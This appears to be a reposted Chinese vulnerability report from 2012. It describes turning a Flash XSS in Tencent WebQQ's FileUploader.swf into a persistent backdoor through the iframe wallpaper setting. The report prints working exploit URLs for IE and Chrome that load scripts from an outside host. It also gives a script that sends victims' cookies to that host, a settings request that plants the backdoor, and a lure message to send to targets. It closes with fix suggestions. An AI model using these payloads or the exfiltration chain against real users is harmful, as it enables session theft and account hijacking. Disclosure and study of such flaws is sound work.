腾讯WEBQQ的持久劫持:反射型XSS到XSS后门的实现

-------------------第一章,这是个什么奇葩的功能-----------------------

1. 进入WEBQQ之后,首先是对聊天功能进行了测试,未发现和百度HI一样的问题。
2. 而后,查看了WEBQQ的设置功能--》主题设置--》自定义。

腾讯WEBQQ的持久劫持:反射型XSS到XSS后门的实现

3. 竟然拿一个网页做背景, 看来开发人员这么相信自己水平。 我随手试了下,可以拿百度直接做背景。 当然这本身不会带来安全问题,因为,跨域无法访问cookies数据。但是不能想象,这里的代码肯定是<iframe src="http://www.baidu.com"></iframe>这样的代码!

4. 如果地址可以被设置为javascript:alert(1),那么问题就来了。<iframe src="javascript:alert(1)"></iframe> 将会引发跨站。 可是腾讯貌似做了设置,非法链接了?

腾讯WEBQQ的持久劫持:反射型XSS到XSS后门的实现

5. 但观察发现,实际这个没向服务器做验证,于是,我们发送正常地址,抓包,再将地址改为javascript:alert(1)。

刷新WEBQQ,成功弹出1 。 这里我就不上图了,因为这章不重要~

理论上来说,<iframe src="javascript;alert(1)"></iframe> 应该是所有浏览器都可以的。

但在测试时候,IE却意外的不执行。 打开调试工具,也可以看到,确实存在<iframe src="javascript;alert(1)"></iframe>。 找了下原因,也没找到,暂时没想到原因和解决办法!!

-------------------第二章,再现FLASH XSS-----------------------

但是,IE如果无效,就损失了很多可以被攻击的群体了,我们的目标是,通杀!

既然可以iframe百度的页面,那么我们也可以iframe自己的页面。

问题就是自己的页面,无法获取qq.com域下的cookies。

但是,如果我们能找到web.qq.com域名下的一个具有XSS的URL,然后iframe进我们自己的页面,就可以成功获取cookies了。
www.2cto.com
1. 打开google, site:web.qq.com ,没什么结果,发现robots.txt禁止了搜索引擎的抓取。

2. 另一方面,常规的反射型XSS,扫描器都扫的差不多了,DOM-based的更是稀少。但是,flash类型的XSS,目前好像还不受到重视。

3. 打开httpwatch(另外一个基于代理的抓包软件打开后,WEBQQ无法正常使用), 发现了一个FLASH文件,看到地址里的,我就心动了!Fileupload.swf,默认回首,那FLASH就在灯火阑珊处。 (FLASH地址:http://web.qq.com/swf/FileUploader.swf)

4. 好,下载这个FLASH,反编译,搜索源码,external, 几下之后,可以发现external.call调用了_jsCallback,_jsCallback=this.callback, this.callback则来自parameters.

var _local1:Object = LoaderInfo(root.loaderInfo).parameters;
if (_local1["callback"]){
this._jsCallBack = _local1["callback"]; <-- 直接调用未进行任何过滤
};

5. 对于FLASH XSS的利用,我在wooyun已经发过很多了。此处不多说。

直接上利用代码, 因为之前我提到过,以前的FLASH XSS代码,会导致Chrome崩溃,后来,我重新研究了下,对chrome和ie分别进行处理。

ie:

http://web.qq.com/swf/FileUploader.swf?callback=(function()%7Blocation.href%3D%22javascript%3A'<html><body>%3Cscript%3E(function(){function j(w){window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47)%2bw%2bString.fromCharCode(46,106,115);document.body.appendChild(window.s)}j(String.fromCharCode(106,113));j(String.fromCharCode(119,113))})()%3C%2Fscript%3E</body></html>'%22%7D)()

chrome

http://web.qq.com/swf/FileUploader.swf?callback=(function(){function j(w){window.s=document.createElement('script');window.s.src='//xsst.sinaapp.com/'%2bw%2b'.js';document.body.appendChild(window.s)}j('jq');j('wq')})()

6. 为了保证IE下,和chrome下都有效,这里我们用PHP在服务器端做个判断,根据浏览器类型做不同的输出。

http://xsst.sinaapp.com/webqqbg.php代码如下

see http://xsst.sinaapp.com/webqqbg.php.txt

7. http://xsst.sinaapp.com/webqqbg.php页面里的代码,会调用jq.js和wq.js

8. wq.js 代码如下, 作用是将访问者的cookies发送到服务器端。

var s=document.createElement("script");
s.src="http://xsst.sinaapp.com/getvfqq.php?cookie="+encodeURIComponent(document.cookie);
document.body.appendChild(s);

-------------------第三章,XSS后门的实现-----------------------

1. http://xsst.sinaapp.com/getvfqq.php 的代码如下,主要目的是,获取vfwebqq参数, 并将受害者的webqq壁纸设置为http://xsst.sinaapp.com/webqqbg.php

see http://xsst.sinaapp.com/getvfqq.php.txt

2. getvfqq.php 会设置用户的主题

POST http://cgi.web2.qq.com/keycgi/qqweb/newuac/set.do
POSTDATA
retype 1
r {"appid":0,"value":{"theme":"theme_pinky_night","appearance":"","wallpaper":{"id":"theme_pinky_night","url":"http://www.baidu.com","mode":"iframe"}}}
vfwebqq 5a47e8c50d39d9607f288f38052070d6efbf15b60be7ef6b4d01347a846b4a16a0377419ab1a763f

10. 因此。 我们只需要向正在使用WEBQQ的人,发送以下消息:

嘿,在不,看看这个。
http://xsst.sinaapp.com/webqqbg.php

访问者访问了之后
--->就会引发flash xss
--->flash xss调用外部的wq.js
--->wq.js会调用http://xsst.sinaapp.com/getvfqq.php
--->getvfqq.php会获取vfwebqq参数,并向http://cgi.web2.qq.com/keycgi/qqweb/newuac/set.do发送主题数据
--->最后受害者的壁纸被设置成了http://xsst.sinaapp.com/webqqbg.php
--->每次登陆WEBQQ,都会加载我们自己的东西。

11. 向一个同学和一个朋友做了测试,均成功!

腾讯WEBQQ的持久劫持:反射型XSS到XSS后门的实现

12. 上面可能写的有点乱。 下图比较清晰:

腾讯WEBQQ的持久劫持:反射型XSS到XSS后门的实现

漏洞证明:共测试3个用户。均成功实现劫持。劫持效果见详细说明。

当然这个漏洞,可以在WEBQQ界面,伪造登陆窗口来实现QQ号码的偷取。

没有对WEBQQ的架构进一步分析,是否可以实现聊天记录的监控,未进行深入测试。

IE,chrome,ff均可。

修复方案:1. 壁纸这个功能,是否有必要使用HTML? 感觉挺危险的。 特别是对壁纸的地址,只在客户端进行了判断,很不严谨。

2. 对http://web.qq.com/swf/FileUploader.swf进行修复。 对传入的JS函数名称进行过滤。
版权声明:转载请注明来源gainover

分类:默认分类 时间:2012-01-08 人气:14
本文关键词:
分享到:

相关文章

  • 当盲打输入框遇到XSS,当XSS遇到会话过期,当会话过期遇到错误的COOKIES写法 2012-04-21

    当盲打输入框遇到XSS,当XSS遇到会话过期,当会话过期遇到错误的COOKIES写法。 进入后台,重置任意用户密码,多少网站的图片会全部挂掉?多少网站会收到牵连? 又开学了,思绪万千,离高考还有1000+天。 怀念之前的朋友和同学,不知道未来的生活如何。 高考后,是载誉而归还是留下遗憾? 或者,是我多虑了。 坐等微信任意用户密码修改漏洞 不知道大顿同学有没有在架构师会议上见到他们大大? 详细说明: 之前和阿华说过了这个XSS,貌似已经补了,删掉了<和" 现在和下面的漏洞一起提上来刷个分~嘿

  • 骑士CMS全局XSS过滤绕过存储型XSS前台后台指哪打哪 2012-11-26

    74cms_v3.5.1_20141020 骑士CMS全局XSS过滤绕过存储型XSS前台后台指哪打哪(大部分能输入的地方都可以)。 开篇:php里面的strip_tags()函数剥去 HTML、XML 以及 PHP 的标签。但是并不是所有的<XXX>都会被过滤。例如: <%0Ba%0b>(注释:%0b表示字符0x0B, 即为urldecode('%3C%0Ba%0B%3E')的值) 上面的代码经过strip_tags()后,返回字符串不过会改变。本次然过就是基于以上内容+

  • 百度卫士官网一处存储型XSS(看我如何绕过XSS过滤) 2013-03-12

    百度卫士官网一处存储型XSS(看我如何绕过XSS过滤构造存储型),WOW~ 证明页面 http://weishi.baidu.com/feedback/question_7079.html 步骤: 1.来到百度卫士我要反馈的页面 http://weishi.baidu.com/feedback/add 2.发现使用kindeditor做的~貌似有自带的xss过滤,所以我们就在文本框框里面输入 <input onfocus=alert(/xss/)> 被过滤的无影无踪了!!!TVT 3

  • 新浪家居某功能储存型xss(绕过长度限制的XSS技巧) 2012-04-03

    新浪通行证登录,经过测试,此xss影响不到新浪微博,可以影响sina.com.cn域名下的所有产品,缺陷位置限制了长度最多20字节(实际上是18字节),通过了一些构造,可以绕过后进行调用任意外部js文件。很典型的一个长度限制绕过的xss利用的案例~~ 测试效果地址(漏洞证明):http://u.bbs.house.sina.com.cn/space.php?mod=myalbums&uid=1821326284 1 缺陷位置为新浪家居的相册名字位置(<img>的value属性

  • 点点某功能两处存储型XSS与一个反射型xss 2013-07-23

    看到点点博客,一下子就喜欢上了它的简洁清新的风格,当然,自己喜欢的东西潜意识里总希望它能好上加好,所以就花了一些时间给点点做了下简单的xss测试,希望通过我的一点点努力使点点变得更好。 漏洞的触发点在博客的"博客设置"功能处,首先打开博客设置,在博客介绍框输入如图 ,然后点保存设置,返回个人博客首页;第二步,再次点击博客设置功能,会弹出如下: ;第三,该功能模块还有一处xss漏洞,位置如图: ,测试方法仿照第一和第二。 修复方案: 此处漏洞的产生,主要是没有意识到对<textarea

  • 大街网存储型XSS(XSS黑盒分析技巧) 2013-12-16

    大街网存在一处持久型xss,可执行外部js 分享状态处,过滤不严格,导致存储型xss的产生,我们先添加一张图片,然后点击发表新鲜事,抓包可以发现存在image参数,且参数可控。 习惯性的在参数后加一句"><img src=1> 提交服务器后,发现原来的src属性变空了,说明有经过过滤的,然后经过多次测试,发现&也被转义,经过猜想,我觉得有可能是服务器判断image参数结尾是否为jpg等图片格式后缀了,测试后发现的确是这样的,并不是双引号导致被过滤,那这样就好办了,参数改

  • cmseasy最新版存储型XSS(可绕过xss防护机制)#2 2014-02-20

    html是一种很有趣的语言。。 cmseasy的bbs发帖处的 过滤xss代码 将<>内的html代码进行了一次很完整的过滤。 function xss_clean($data) { if (empty($data)) { return $data; } if (is_array($data)) { foreach ($data as $key => $value) { $data[xss_clean($key)] = xss_clean($value); } return $

  • 哔哩哔哩弹幕网xss一枚(XSS分析与利用技巧) 2012-05-10

    可劫持cookie 可csrf 在视频播放页面 查看源码 往下翻 有这么一段 用户输入的内容包含在了脚本里 分别是标题简介之类的。。。由于简介内容允许输入的字符最多 于是我们在发布视频的简介里面构造代码 '}; 先闭合掉前面的var p 然后清除简介里面的内容 防止别人起疑心 (s=$('.intro')[0]).innerText=s.innerText.substr(0,s.innerText.indexOf('\'')); 最后添加恶意的js并且闭合后面(简介中的尖括号会被转换 稍微绕过一

  • 关于XSS(跨站脚本攻击)和CSRF(跨站请求伪造) 2014-01-07

    我们常说的网络安全其实应该包括以下三方面的安全: 1、机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马。 2、完整性,比如数据的完整,举个例子,康熙传位十四子,被当时四阿哥篡改遗诏:传位于四子,当然这是传说,常见的方式是XSS跨站脚本攻击和csrf跨站请求伪造。 3、可用性,比如我们的网络服务是否可用,常用的攻击方式是dos和ddos,拒绝服务和分布式拒绝服务攻击。 本文主要讲述xss和csrf的攻击,配合实例讲述这2者攻击的危害性以及一些防范的措施,有讲的不对或者不完整的地方欢迎大大们

Copyright (C) quwantang.com, All Rights Reserved.

趣玩堂 版权所有 京ICP备15002868号

processed in 0.059 (s). 10 q(s)